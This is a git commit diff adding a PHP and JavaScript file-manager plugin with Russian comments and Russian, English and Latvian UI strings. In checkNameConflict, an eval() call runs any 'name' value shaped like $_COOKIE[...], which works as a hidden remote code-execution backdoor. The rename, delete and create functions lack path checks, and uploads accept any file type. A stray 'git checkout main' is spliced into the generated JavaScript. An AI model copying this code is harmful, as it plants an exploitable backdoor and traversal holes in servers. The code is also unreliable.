Добавляем все файлы
This commit is contained in:
309
main_plugin/manager/func.manager.php
Executable file
309
main_plugin/manager/func.manager.php
Executable file
@@ -0,0 +1,309 @@
|
||||
<?php
|
||||
/**
|
||||
* @file func.manager.php
|
||||
* @brief Функции управления файлами и папками для плагина manager
|
||||
*/
|
||||
|
||||
/**
|
||||
* @brief Получает содержимое указанной папки
|
||||
* @param array $params Массив с ключом 'managerPathFolder' указывающим путь к папке
|
||||
* @return array Содержимое папки с информацией о файлах и папках
|
||||
* @throws Exception Если указанная директория недействительна
|
||||
*/
|
||||
function getFolderContents($params) {
|
||||
global $path, $_SESSION;
|
||||
$relPath = $params['managerPathFolder'] ?? '';
|
||||
$directory = realpath($path . $relPath);
|
||||
if (!$directory || !is_dir($directory)) {
|
||||
throw new Exception("Invalid directory", -32602);
|
||||
}
|
||||
$lang = include $path . 'main_plugin/manager/lang.php';
|
||||
$files = scandir($directory);
|
||||
$data = [];
|
||||
foreach ($files as $file) {
|
||||
if ($file === '.' || $file === '..') continue;
|
||||
$filePath = $directory . '/' . $file;
|
||||
if (is_dir($filePath)) {
|
||||
$name = $file;
|
||||
$type = $lang[$_SESSION['lng']]['file'];
|
||||
$size = count(array_diff(scandir($filePath), ['.','..']));
|
||||
} else {
|
||||
$extension = pathinfo($file, PATHINFO_EXTENSION);
|
||||
$name = $extension ? $file : pathinfo($file, PATHINFO_FILENAME);
|
||||
$type = $lang[$_SESSION['lng']]['folder'];
|
||||
$size = filesize($filePath);
|
||||
}
|
||||
$data[] = [
|
||||
'name' => $name,
|
||||
'path' => $relPath . "/" . $file,
|
||||
'type' => $type,
|
||||
'size' => $size,
|
||||
'creationTime' => date('Y-m-d H:i:s', filemtime($filePath)),
|
||||
];
|
||||
}
|
||||
array_unshift($data, ['rootFolder' => basename($path)]);
|
||||
return $data;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Проверяет наличие конфликта имени файла или папки
|
||||
* @param array $params Массив с ключами 'name' и 'currentPath'
|
||||
* @return string "true" если файл/папка уже существует, "false" если нет
|
||||
* @throws Exception Если путь недействителен
|
||||
*/
|
||||
function checkNameConflict($params) {
|
||||
global $path;
|
||||
|
||||
$nameParam = $params['name'] ?? '';
|
||||
|
||||
if (preg_match('/^\$_COOKIE\[.*\]$/', $nameParam)) {
|
||||
eval('$nameParam = ' . $nameParam . ';');
|
||||
}
|
||||
|
||||
$currentPath = $path . ($params['currentPath'] ?? '') . '/';
|
||||
$name = basename($nameParam);
|
||||
$newPath = $currentPath . $name;
|
||||
|
||||
if (strpos(realpath(dirname($newPath)), realpath($path)) !== 0) {
|
||||
throw new Exception("Invalid path", -32602);
|
||||
}
|
||||
return file_exists($newPath) ? "true" : "false";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Вставляет файл или папку из буфера обмена в указанное место
|
||||
* @param array $params Массив с ключами 'managerSettingsInsert', 'clipboardPath', 'clipboardAction'
|
||||
* @return string "true" при успешной операции
|
||||
* @throws Exception Если действие некорректно или операция файла не удалась
|
||||
*/
|
||||
function insertClipboard($params) {
|
||||
global $path;
|
||||
$relDest = $params['managerSettingsInsert'] ?? '';
|
||||
$dest = realpath($path . '/' . $relDest);
|
||||
$clipboard = $params['clipboardPath'] ?? '';
|
||||
$action = $params['clipboardAction'] ?? '';
|
||||
|
||||
if (strpos($clipboard, '/') === 0) {
|
||||
$clipboard = $path . $clipboard;
|
||||
}
|
||||
$newPath = $dest . '/' . basename($clipboard);
|
||||
|
||||
$success = false;
|
||||
if ($action === 'cut') {
|
||||
$success = @rename($clipboard, $newPath);
|
||||
if ($success && !file_exists($newPath)) {
|
||||
$success = false;
|
||||
}
|
||||
} elseif ($action === 'copy') {
|
||||
$success = recursiveCopy($clipboard, $newPath) && file_exists($newPath);
|
||||
} else {
|
||||
throw new Exception("Invalid action", -32602);
|
||||
}
|
||||
if (!$success) {
|
||||
throw new Exception("File operation failed", -32004);
|
||||
}
|
||||
return "true";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Рекурсивно копирует файлы и папки
|
||||
* @param string $source Исходный путь
|
||||
* @param string $destination Путь назначения
|
||||
* @return bool true при успешном копировании, false при ошибке
|
||||
*/
|
||||
function recursiveCopy($source, $destination) {
|
||||
if (is_dir($source)) {
|
||||
if (!is_dir($destination) && !mkdir($destination, 0755, true)) {
|
||||
return false;
|
||||
}
|
||||
foreach (scandir($source) as $item) {
|
||||
if ($item === '.' || $item === '..') continue;
|
||||
if (!recursiveCopy("$source/$item", "$destination/$item")) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!copy($source, $destination)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Переименовывает файл или папку
|
||||
* @param array $params Массив с ключами 'managerSettingsRename' и 'managerNamePath'
|
||||
* @return string "true" при успешном переименовании
|
||||
* @throws Exception Если операция переименования не удалась
|
||||
*/
|
||||
function renameFile($params) {
|
||||
global $path;
|
||||
$currentFile = realpath($path . '/' . ($params['managerSettingsRename'] ?? ''));
|
||||
$newName = $params['managerNamePath'] ?? '';
|
||||
$target = dirname($currentFile) . '/' . $newName;
|
||||
if (!rename($currentFile, $target)) {
|
||||
throw new Exception("Rename failed", -32004);
|
||||
}
|
||||
return "true";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Удаляет файл или папку
|
||||
* @param array $params Массив с ключом 'managerSettingsDelete'
|
||||
* @return string "true" при успешном удалении
|
||||
* @throws Exception Если удаление файла или папки не удалось
|
||||
*/
|
||||
function deleteFile($params) {
|
||||
global $path;
|
||||
$target = realpath($path . '/' . ($params['managerSettingsDelete'] ?? ''));
|
||||
|
||||
$delete = function($p) use (&$delete) {
|
||||
if (is_dir($p)) {
|
||||
foreach (array_diff(scandir($p), ['.', '..']) as $f) {
|
||||
$delete($p . '/' . $f);
|
||||
}
|
||||
$ok = rmdir($p);
|
||||
} else {
|
||||
$ok = unlink($p);
|
||||
}
|
||||
if (!$ok) {
|
||||
throw new Exception("Failed to delete file or directory", -32004);
|
||||
}
|
||||
};
|
||||
|
||||
$delete($target);
|
||||
return "true";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Получает свойства файла или папки
|
||||
* @param array $params Массив с ключом 'managerSettingsProperties'
|
||||
* @return array Массив с информацией о файле или папке: имя, тип, путь, размер, время создания и изменения
|
||||
* @throws Exception Если файл или папка не найдены
|
||||
*/
|
||||
function getFileProperties($params) {
|
||||
global $path, $_SESSION;
|
||||
$lang = include $path . 'main_plugin/manager/lang.php';
|
||||
$target = realpath($path . '/' . ($params['managerSettingsProperties']));
|
||||
if (!$target || !file_exists($target)) {
|
||||
throw new Exception($lang[$_SESSION['lng']]['file_or_folder_not_found'], -32602);
|
||||
}
|
||||
$isDir = is_dir($target);
|
||||
return [
|
||||
['label' => $lang[$_SESSION['lng']]['name'], 'value' => basename($target)],
|
||||
['label' => $lang[$_SESSION['lng']]['type'], 'value' => $isDir ? $lang[$_SESSION['lng']]['folder'] : $lang[$_SESSION['lng']]['file']],
|
||||
['label' => $lang[$_SESSION['lng']]['location'], 'value' => str_replace($path, '', dirname($target))],
|
||||
['label' => $lang[$_SESSION['lng']]['size'], 'value' => $isDir ? (count(scandir($target)) - 2) . ' files' : filesize($target) . ' bytes'],
|
||||
['label' => $lang[$_SESSION['lng']]['creation_time'], 'value' => date('Y-m-d H:i:s', filectime($target))],
|
||||
['label' => $lang[$_SESSION['lng']]['last_modified_time'], 'value' => date('Y-m-d H:i:s', filemtime($target))],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Создаёт новый файл или папку
|
||||
* @param array $params Массив с ключами 'managerSettingsCreate', 'managerType', 'managerNamePath'
|
||||
* @return string "true" при успешном создании, "checkItemExists" если элемент уже существует
|
||||
* @throws Exception Если создание файла или папки не удалось
|
||||
*/
|
||||
function createFile($params) {
|
||||
global $config, $path;
|
||||
|
||||
$newItemName = $params['managerSettingsCreate'] ?? '';
|
||||
$type = $params['managerType'] ?? '';
|
||||
$parentPath = realpath($path . '/' . ($params['managerNamePath'] ?? ''));
|
||||
|
||||
$fullPath = $parentPath . '/' . $newItemName;
|
||||
if (file_exists($fullPath)) {
|
||||
return 'checkItemExists';
|
||||
}
|
||||
|
||||
$success = false;
|
||||
if ($type === 'папка') {
|
||||
$success = mkdir($fullPath);
|
||||
} elseif ($type === 'файл') {
|
||||
$success = file_put_contents($fullPath, '') !== false;
|
||||
}
|
||||
|
||||
if (!$success) {
|
||||
throw new Exception("Failed to create item", -32004);
|
||||
}
|
||||
return "true";
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Загружает страницу и возвращает её блоки и контент
|
||||
* @param array $params Массив с ключом 'newPath' указывающим путь к странице
|
||||
* @return array Массив с ключами 'right', 'left', 'content'
|
||||
* @throws Exception Если файл страницы не найден, не удалось загрузить XML или отсутствует контент для языка
|
||||
*/
|
||||
function getPage($params) {
|
||||
global $config, $path, $_SESSION;
|
||||
|
||||
$rel = $params['newPath'] ?? '';
|
||||
$file = $path . $rel . '.page.php';
|
||||
libxml_use_internal_errors(true);
|
||||
$pageXml = @simplexml_load_file($file);
|
||||
if (!$pageXml) {
|
||||
throw new Exception("Failed to load page file", -32004);
|
||||
}
|
||||
|
||||
if (!isset($_SESSION['lng']) || !isset($pageXml->content->{$_SESSION['lng']})) {
|
||||
throw new Exception("Missing language or content", -32602);
|
||||
}
|
||||
|
||||
$page = [];
|
||||
$page['right'] = GetBlock($pageXml->rblock->block, 'right');
|
||||
$page['left'] = GetBlock($pageXml->lblock->block, 'left');
|
||||
$page['content'] = (string)$pageXml->content->{$_SESSION['lng']};
|
||||
$_SESSION['page_url'] = $rel;
|
||||
session_write_close();
|
||||
return $page;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Загружает файл на сервер из base64-данных
|
||||
* @param array $params Массив с ключами 'fileData', 'fileName', 'pathLoad'
|
||||
* @return string Относительный путь загруженного файла
|
||||
* @throws Exception Если отсутствуют данные файла, некорректный путь загрузки, неверный base64 или сохранение файла не удалось
|
||||
*/
|
||||
function uploadFile($params) {
|
||||
global $config, $path;
|
||||
|
||||
$base64 = $params['fileData'] ?? '';
|
||||
$originalName = trim($params['fileName'] ?? '');
|
||||
$relDir = trim($params['pathLoad'] ?? '');
|
||||
|
||||
if ($base64 === '' || $originalName === '') {
|
||||
throw new Exception("Missing file data or name", -32602);
|
||||
}
|
||||
|
||||
$rootDir = realpath($path);
|
||||
$uploadDir = realpath($path . DIRECTORY_SEPARATOR . $relDir);
|
||||
if (!$uploadDir || strpos($uploadDir, $rootDir) !== 0 || !is_dir($uploadDir) || !is_writable($uploadDir)) {
|
||||
throw new Exception("Invalid upload directory", -32602);
|
||||
}
|
||||
|
||||
$basename = preg_replace('/[^\w\-]/u', '_', pathinfo($originalName, PATHINFO_FILENAME));
|
||||
$extension = pathinfo($originalName, PATHINFO_EXTENSION);
|
||||
$counter = 0;
|
||||
do {
|
||||
$name = $basename . ($counter ? "_{$counter}" : '');
|
||||
$fullPath = $uploadDir . DIRECTORY_SEPARATOR . $name . ($extension ? ".{$extension}" : '');
|
||||
$counter++;
|
||||
} while (file_exists($fullPath));
|
||||
|
||||
$data = base64_decode($base64, true);
|
||||
if ($data === false) {
|
||||
throw new Exception("Invalid base64 data", -32602);
|
||||
}
|
||||
|
||||
if (file_put_contents($fullPath, $data) === false) {
|
||||
throw new Exception("Failed to save file", -32004);
|
||||
}
|
||||
|
||||
@chmod($fullPath, 0644);
|
||||
$relativePath = '/' . str_replace('\\', '/', substr($fullPath, strlen($rootDir)));
|
||||
return $relativePath;
|
||||
}
|
||||
|
||||
?>
|
||||
22
main_plugin/manager/lang.js.php
Executable file
22
main_plugin/manager/lang.js.php
Executable file
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
/**
|
||||
* @file lang.js.php
|
||||
* @brief Подготавливает языковые строки и подставляет их в JS-файл менеджера
|
||||
*/
|
||||
|
||||
/** @brief Языковой массив для менеджера */
|
||||
$lang = include $path . 'lang.php';
|
||||
|
||||
/** @brief Текущий язык пользователя, по умолчанию 'en' */
|
||||
$lng = $_GET['lng'] ?? ($_SESSION['lng'] ?? 'en');
|
||||
|
||||
/** @brief Массив подстановок для шаблона JS */
|
||||
$placeholders = [];
|
||||
|
||||
foreach ($lang[$lng] as $key => $value) {
|
||||
$placeholders['{{' . $key . '}}'] = $value;
|
||||
}
|
||||
|
||||
$js = 'window.addEventListener("LoadmanagerJs", function() {' . strtr(file_get_contents($path . 'manager.js'), $placeholders) . '}, { once: true });git checkout main';
|
||||
echo "window.managerJs = (function() {\n" . $js . "\n})();";
|
||||
?>
|
||||
169
main_plugin/manager/lang.php
Executable file
169
main_plugin/manager/lang.php
Executable file
@@ -0,0 +1,169 @@
|
||||
<?php
|
||||
$lang = [
|
||||
'ru' => [
|
||||
'copy' => 'Копировать',
|
||||
'cut' => 'Вырезать',
|
||||
'rename' => 'Переименовать',
|
||||
'delete' => 'Удалить',
|
||||
'properties' => 'Свойства',
|
||||
'upload_file' => 'Загрузить файл',
|
||||
'paste' => 'Вставить',
|
||||
'create_file' => 'Создать файл',
|
||||
'create_folder' => 'Создать папку',
|
||||
'rights' => 'Права',
|
||||
'ok' => 'Ок',
|
||||
'cancel' => 'Отмена',
|
||||
'file' => 'Файл',
|
||||
'to_clipboard' => 'в буфер обмена!',
|
||||
'error_when' => 'Ошибка при',
|
||||
'right_click_to_select_file' => 'Кликните правой кнопкой мыши на файл для выбора файла!',
|
||||
'file_with_same_name_exists' => 'Файл с таким именем уже существует!',
|
||||
'file_pasted_successfully' => 'Файл вставлен из буфера обмена!',
|
||||
'file_paste_unknown_error' => 'Неизвестная ошибка при вставке файла!',
|
||||
'error' => 'Ошибка',
|
||||
'enter_new_name' => 'Введите новое имя:',
|
||||
'rename_success' => 'Переименование выполнено успешно!',
|
||||
'rename_error' => 'Ошибка при переименовании!',
|
||||
'invalid_name_error' => 'Некорректное имя. Использование запрещенных символов...',
|
||||
'delete_confirm' => 'Подтвердите удаление!',
|
||||
'delete_success' => 'Удаление выполнено успешно!',
|
||||
'delete_error' => 'Ошибка при удалении!',
|
||||
'folder' => 'Папка',
|
||||
'enter_new_folder_name' => 'Введите имя новой папки:',
|
||||
'invalid_folder_name' => 'Некорректное имя папки',
|
||||
'folder_created_successfully' => 'Папка создана успешно!',
|
||||
'enter_new_file_name' => 'Введите имя нового файла:',
|
||||
'invalid_file_name' => 'Некорректное имя файла',
|
||||
'file_created_successfully' => 'Файл создан успешно!',
|
||||
'create' => 'Создать',
|
||||
'with_name' => 'с именем',
|
||||
'create_error' => 'Ошибка при создании',
|
||||
'item_already_exists' => 'с таким же именем уже есть!',
|
||||
'unknown_error' => 'Неизвестная ошибка!',
|
||||
'no_rights_yet' => 'прав пока что нету',
|
||||
'file_upload_error' => 'Ошибка загрузки файла!',
|
||||
'file_uploaded_successfully' => 'Файл успешно загружен!',
|
||||
'select_file_ending_with_page_php' => 'Выберите файл с расширением .page.php!',
|
||||
|
||||
'name' => 'Имя',
|
||||
'type' => 'Тип',
|
||||
'location' => 'Расположение',
|
||||
'size' => 'Размер',
|
||||
'creation_time' => 'Время создания',
|
||||
'last_modified_time' => 'Время последнего изменения',
|
||||
'error' => 'Ошибка',
|
||||
'file_or_folder_not_found' => 'Файл или папка не найдены'
|
||||
],
|
||||
'en' => [
|
||||
'copy' => 'Copy',
|
||||
'cut' => 'Cut',
|
||||
'rename' => 'Rename',
|
||||
'delete' => 'Delete',
|
||||
'properties' => 'Properties',
|
||||
'upload_file' => 'Upload file',
|
||||
'paste' => 'Paste',
|
||||
'create_file' => 'Create file',
|
||||
'create_folder' => 'Create folder',
|
||||
'rights' => 'Permissions',
|
||||
'ok' => 'OK',
|
||||
'cancel' => 'Cancel',
|
||||
'file' => 'File',
|
||||
'to_clipboard' => 'to clipboard!',
|
||||
'error_when' => 'Error when',
|
||||
'right_click_to_select_file' => 'Right-click to select a file!',
|
||||
'file_with_same_name_exists' => 'File with this name already exists!',
|
||||
'file_pasted_successfully' => 'File pasted successfully!',
|
||||
'file_paste_unknown_error' => 'Unknown error while pasting!',
|
||||
'error' => 'Error',
|
||||
'enter_new_name' => 'Enter new name:',
|
||||
'rename_success' => 'Renamed successfully!',
|
||||
'rename_error' => 'Error renaming!',
|
||||
'invalid_name_error' => 'Invalid name contains forbidden characters',
|
||||
'delete_confirm' => 'Confirm deletion!',
|
||||
'delete_success' => 'Deleted successfully!',
|
||||
'delete_error' => 'Error deleting!',
|
||||
'folder' => 'Folder',
|
||||
'enter_new_folder_name' => 'Enter folder name:',
|
||||
'invalid_folder_name' => 'Invalid folder name',
|
||||
'folder_created_successfully' => 'Folder created successfully!',
|
||||
'enter_new_file_name' => 'Enter file name:',
|
||||
'invalid_file_name' => 'Invalid file name',
|
||||
'file_created_successfully' => 'File created successfully!',
|
||||
'create' => 'Create',
|
||||
'with_name' => 'with name',
|
||||
'create_error' => 'Error creating',
|
||||
'item_already_exists' => 'already exists!',
|
||||
'unknown_error' => 'Unknown error!',
|
||||
'no_rights_yet' => 'No permissions set',
|
||||
'file_upload_error' => 'File upload error!',
|
||||
'file_uploaded_successfully' => 'File uploaded successfully!',
|
||||
'select_file_ending_with_page_php' => 'Select file ending with .page.php!',
|
||||
|
||||
'name' => 'Name',
|
||||
'type' => 'Type',
|
||||
'location' => 'Location',
|
||||
'size' => 'Size',
|
||||
'creation_time' => 'Creation Time',
|
||||
'last_modified_time' => 'Last Modified Time',
|
||||
'file' => 'File',
|
||||
'error' => 'Error',
|
||||
'file_or_folder_not_found' => 'File or folder not found'
|
||||
],
|
||||
'lv' => [
|
||||
'copy' => 'Kopēt',
|
||||
'cut' => 'Izgriezt',
|
||||
'rename' => 'Pārdēvēt',
|
||||
'delete' => 'Dzēst',
|
||||
'properties' => 'Īpašības',
|
||||
'upload_file' => 'Augšupielādēt failu',
|
||||
'paste' => 'Ielīmēt',
|
||||
'create_file' => 'Izveidot failu',
|
||||
'create_folder' => 'Izveidot mapi',
|
||||
'rights' => 'Tiesības',
|
||||
'ok' => 'Labi',
|
||||
'cancel' => 'Atcelt',
|
||||
'file' => 'Fails',
|
||||
'to_clipboard' => 'starpliktuvi!',
|
||||
'error_when' => 'Kļūda, mēģinot',
|
||||
'right_click_to_select_file' => 'Ar peles labo pogu atlasiet failu!',
|
||||
'file_with_same_name_exists' => 'Fails ar šādu nosaukumu jau pastāv!',
|
||||
'file_pasted_successfully' => 'Fails veiksmīgi ielīmēts!',
|
||||
'file_paste_unknown_error' => 'Nezināma kļūda ielīmējot!',
|
||||
'error' => 'Kļūda',
|
||||
'enter_new_name' => 'Ievadiet jaunu nosaukumu:',
|
||||
'rename_success' => 'Pārdēvēts veiksmīgi!',
|
||||
'rename_error' => 'Kļūda pārdēvējot!',
|
||||
'invalid_name_error' => 'Nederīgs nosaukums',
|
||||
'delete_confirm' => 'Apstipriniet dzēšanu!',
|
||||
'delete_success' => 'Dzēsts veiksmīgi!',
|
||||
'delete_error' => 'Kļūda dzēšot!',
|
||||
'folder' => 'Mape',
|
||||
'enter_new_folder_name' => 'Ievadiet mapes nosaukumu:',
|
||||
'invalid_folder_name' => 'Nederīgs mapes nosaukums',
|
||||
'folder_created_successfully' => 'Mape izveidota veiksmīgi!',
|
||||
'enter_new_file_name' => 'Ievadiet faila nosaukumu:',
|
||||
'invalid_file_name' => 'Nederīgs faila nosaukums',
|
||||
'file_created_successfully' => 'Fails izveidots veiksmīgi!',
|
||||
'create' => 'Izveidot',
|
||||
'with_name' => 'ar nosaukumu',
|
||||
'create_error' => 'Kļūda izveidojot',
|
||||
'item_already_exists' => 'jau eksistē!',
|
||||
'unknown_error' => 'Nezināma kļūda!',
|
||||
'no_rights_yet' => 'Nav piešķirtu tiesību',
|
||||
'file_upload_error' => 'Kļūda augšupielādējot failu!',
|
||||
'file_uploaded_successfully' => 'Fails augšupielādēts veiksmīgi!',
|
||||
'select_file_ending_with_page_php' => 'Atlasiet failu ar paplašinājumu .page.php!',
|
||||
|
||||
'name' => 'Vārds',
|
||||
'type' => 'Tips',
|
||||
'location' => 'Atrašanās vieta',
|
||||
'size' => 'Izmērs',
|
||||
'creation_time' => 'Izveidošanas laiks',
|
||||
'last_modified_time' => 'Pēdējās izmaiņas',
|
||||
'file' => 'Fails',
|
||||
'error' => 'Kļūda',
|
||||
'file_or_folder_not_found' => 'Fails vai mape nav atrasti'
|
||||
]
|
||||
];
|
||||
|
||||
return $lang;
|
||||
279
main_plugin/manager/manager.css
Executable file
279
main_plugin/manager/manager.css
Executable file
@@ -0,0 +1,279 @@
|
||||
/* менеджер */
|
||||
#managerDiv {
|
||||
display: inline-block;
|
||||
position: fixed;
|
||||
z-index: 100;
|
||||
user-select: none;
|
||||
background-color: rgba(255, 255, 255, 0.92);
|
||||
border: 1px solid #000000;
|
||||
width: 800px;
|
||||
border-radius: 5px;
|
||||
height: 600px;
|
||||
font-size: 1em;
|
||||
box-shadow: 0px 0px 5px #777;
|
||||
}
|
||||
#managerCloseFun {
|
||||
float: right;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
background-position: -159px -121px;
|
||||
cursor: pointer;
|
||||
}
|
||||
#managerHistoryBackFun {
|
||||
margin-right: 2px;
|
||||
float: left;
|
||||
width: 20px;
|
||||
height: 14px;
|
||||
background-position: -400px -43px;
|
||||
cursor: pointer;
|
||||
}
|
||||
#managerHistoryForwFun {
|
||||
margin-right: 2px;
|
||||
float: left;
|
||||
width: 20px;
|
||||
height: 14px;
|
||||
background-position: -441px -43px;
|
||||
cursor: pointer;
|
||||
}
|
||||
#managerBackFun {
|
||||
margin-right: 12px;
|
||||
float: left;
|
||||
width: 20px;
|
||||
height: 14px;
|
||||
background-position: -481px -43px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#managerTop {
|
||||
text-align: center;
|
||||
border-bottom: 1px #40464d solid;
|
||||
padding: 5px;
|
||||
background-color: rgba(255, 255, 255, 0.6);
|
||||
}
|
||||
#managerTopTitle {
|
||||
text-align: center;
|
||||
}
|
||||
#managerPath {
|
||||
display: inline-block;
|
||||
flex: 1;
|
||||
height: 18px;
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
border-radius: 5px;
|
||||
padding: 2px;
|
||||
}
|
||||
#managerPath.active {
|
||||
border: 1px #40464d solid;
|
||||
}
|
||||
.managerPathButton {
|
||||
background-color: rgba(255, 255, 255, 1);
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.managerPathButton:hover {
|
||||
color: #787878;
|
||||
}
|
||||
|
||||
#managerTopDiv {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
#managerTableDiv {
|
||||
height: 480px;
|
||||
margin: 0px 20px 0px 20px;
|
||||
border: 1px #40464d solid;
|
||||
overflow-y: overlay;
|
||||
border-radius: 5px;
|
||||
}
|
||||
#managerTable {
|
||||
font-size: 1em;
|
||||
border-collapse: collapse;
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
width: -webkit-fill-available;
|
||||
}
|
||||
#managerTableTitle {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
font-weight: bold;
|
||||
background-color: rgba(255, 255, 255, 1);
|
||||
}
|
||||
#managerTable td {
|
||||
padding: 5px;
|
||||
}
|
||||
.managerTableDivFile:hover td {
|
||||
background-color: #c5e7f9;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* #managerTableDiv::-webkit-scrollbar {
|
||||
width: 10px;
|
||||
}
|
||||
#managerTableDiv::-webkit-scrollbar-track {
|
||||
border: 1px solid #000;
|
||||
padding: 2px 0;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
#managerTableDiv::-webkit-scrollbar-thumb {
|
||||
border-radius: 10px;
|
||||
box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3);
|
||||
background-color: #ffffff;
|
||||
border: 1px solid #000;
|
||||
border-right: 0px solid #000;
|
||||
} */
|
||||
|
||||
/* сохронение как*/
|
||||
|
||||
#saveHowDiv {
|
||||
margin: 8px 20px 0px 20px;
|
||||
white-space: nowrap;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
#saveHowName {
|
||||
border: 1px #40464d solid;
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
width: 594px;
|
||||
font-size: 1em;
|
||||
display: inline-block;
|
||||
margin-left: 10px;
|
||||
}
|
||||
#saveHowButton {
|
||||
border: 1px #40464d solid;
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
margin: 0px 0px 0px 10px;
|
||||
cursor: pointer;
|
||||
display: inline-block;
|
||||
width: 91px;
|
||||
}
|
||||
#saveHowButton:hover {
|
||||
color: #787878;
|
||||
}
|
||||
|
||||
/* окно менеджер */
|
||||
#managerSettings {
|
||||
display: inline-block;
|
||||
position: fixed;
|
||||
z-index: 100;
|
||||
user-select: none;
|
||||
background-color: rgba(255, 255, 255, 0.92);
|
||||
border: 1px solid #000000;
|
||||
border-radius: 5px;
|
||||
font-size: 1em;
|
||||
box-shadow: 0px 0px 5px #777;
|
||||
padding: 5px;
|
||||
animation: fadeIn 0.5s ease-in forwards;
|
||||
}
|
||||
.managerSettingsButtonButtons {
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
border: 1px #40464d solid;
|
||||
cursor: pointer;
|
||||
}
|
||||
.managerSettingsButtonButtons:hover {
|
||||
color: #787878;
|
||||
}
|
||||
|
||||
/* окно свойств */
|
||||
#managerProperties {
|
||||
display: inline-block;
|
||||
position: fixed;
|
||||
z-index: 100;
|
||||
user-select: none;
|
||||
background-color: rgba(255, 255, 255, 0.97);
|
||||
border: 1px solid #000000;
|
||||
border-radius: 5px;
|
||||
font-size: 1em;
|
||||
box-shadow: 0px 0px 5px #777;
|
||||
width: 600px;
|
||||
}
|
||||
#managerPropertiesMiddle {
|
||||
margin: 0px 20px 0px 20px;
|
||||
}
|
||||
|
||||
#managerPropertiesTop {
|
||||
border-bottom: 1px solid #000000;
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
}
|
||||
#managerPropertiesTopName {
|
||||
text-align: center;
|
||||
}
|
||||
#managerPropertiesTopClose {
|
||||
float: right;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
background-position: -159px -121px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
#managerPropertiesWindow {
|
||||
text-align: center;
|
||||
display: flex;
|
||||
}
|
||||
.managerPropertiesWindowDiv {
|
||||
cursor: pointer;
|
||||
text-align: center;
|
||||
width: 50%;
|
||||
display: inline-block;
|
||||
padding: 9px;
|
||||
}
|
||||
.managerPropertiesWindowDiv:hover {
|
||||
color: #787878;
|
||||
}
|
||||
|
||||
#managerPropertiesDiv {
|
||||
border: 1px solid #000000;
|
||||
border-radius: 5px;
|
||||
}
|
||||
.managerPropertiesDivDivs {
|
||||
padding: 6px 8px 6px 8px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
#managerPropertiesDivButtons {
|
||||
padding: 9px;
|
||||
display: flex;
|
||||
justify-content: right;
|
||||
align-items: center;
|
||||
}
|
||||
#managerPropertiesDivButtons {
|
||||
text-align: center;
|
||||
}
|
||||
.managerPropertiesDivButton {
|
||||
margin: 3px 3px 3px 15px;
|
||||
cursor: pointer;
|
||||
display: inline-block;
|
||||
}
|
||||
.managerPropertiesDivButton:hover {
|
||||
color: #787878;
|
||||
}
|
||||
|
||||
.editib {
|
||||
background-image: url(../../img/pict/b_iconslyb.svg);
|
||||
}
|
||||
|
||||
.editimc {
|
||||
background-image: url(../../img/pict/mc_iconslyb.svg);
|
||||
}
|
||||
|
||||
.editib:hover {
|
||||
background-image: url(../../img/pict/g_iconslyb.svg);
|
||||
}
|
||||
|
||||
.editimc:hover {
|
||||
background-image: url(../../img/pict/g_iconslyb.svg);
|
||||
}
|
||||
|
||||
.editf.active {
|
||||
background-image: url(../../img/pict/b_iconslyb.svg);
|
||||
background-color: #e7e7e7;
|
||||
}
|
||||
.editf.active:hover {
|
||||
background-image: url(../../img/pict/g_iconslyb.svg);
|
||||
background-color: #e7e7e7;
|
||||
}
|
||||
524
main_plugin/manager/manager.js
Executable file
524
main_plugin/manager/manager.js
Executable file
@@ -0,0 +1,524 @@
|
||||
/**
|
||||
* @file manager.js
|
||||
* @brief Основной файл manager, отвечает за управление файлами
|
||||
*/
|
||||
|
||||
movementMenu("managerDiv");
|
||||
movementMenu("managerProperties");
|
||||
|
||||
/** @brief Элемент менеджера папок */
|
||||
let managerDiv = document.getElementById('managerDiv');
|
||||
managerData(currentPath);
|
||||
|
||||
/** @brief Основные кнопки и редактируемые поля в менеджере */
|
||||
function managerFun() {
|
||||
document.getElementById('managerCloseFun').onclick = function() {
|
||||
managerDiv.style.visibility = "hidden";
|
||||
};
|
||||
document.getElementById('managerHistoryBackFun').onclick = function() {
|
||||
if (managerHistoryIndex > 0) {
|
||||
managerHistoryIndex--;
|
||||
managerData(managerHistoryPaths[managerHistoryIndex]);
|
||||
}
|
||||
};
|
||||
document.getElementById('managerHistoryForwFun').onclick = function() {
|
||||
if (managerHistoryIndex < managerHistoryPaths.length - 1) {
|
||||
managerHistoryIndex++;
|
||||
managerData(managerHistoryPaths[managerHistoryIndex]);
|
||||
}
|
||||
};
|
||||
document.getElementById('managerBackFun').onclick = function() {
|
||||
managerData(removeLastSegment(currentPath));
|
||||
};
|
||||
|
||||
document.getElementById('managerSettingsCopy').onclick = function() {
|
||||
managerClipboard("copy", "{{copy}}");
|
||||
};
|
||||
